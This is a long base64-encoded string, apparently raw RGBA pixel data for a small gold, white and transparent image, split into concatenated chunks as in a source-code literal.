S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L//////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////////////8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75Lz8u+SxH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8By75LEcu+ + S8/Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S/////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//LvkvPy75LEf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Acu+ + S8/Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S8////8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Acu+ + S5/Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L//////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75Ln////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Acu+ + S4/Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S/////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//LvkuP////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Acu+ + S1HLvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv///////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S1H///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Acu+ + SyHLvkvvy75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkvvy75LIf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wHLvkvPy75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S/////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S8////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wHLvkuBy75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75Lgf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wHLvksxy75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L//////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvksh////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8By75Lv8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S/////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75Lv////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8By75LUcu+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv///////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//LvktR////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Acu+S9/Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L//// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+S//Lvkv/y75L/8u+ + 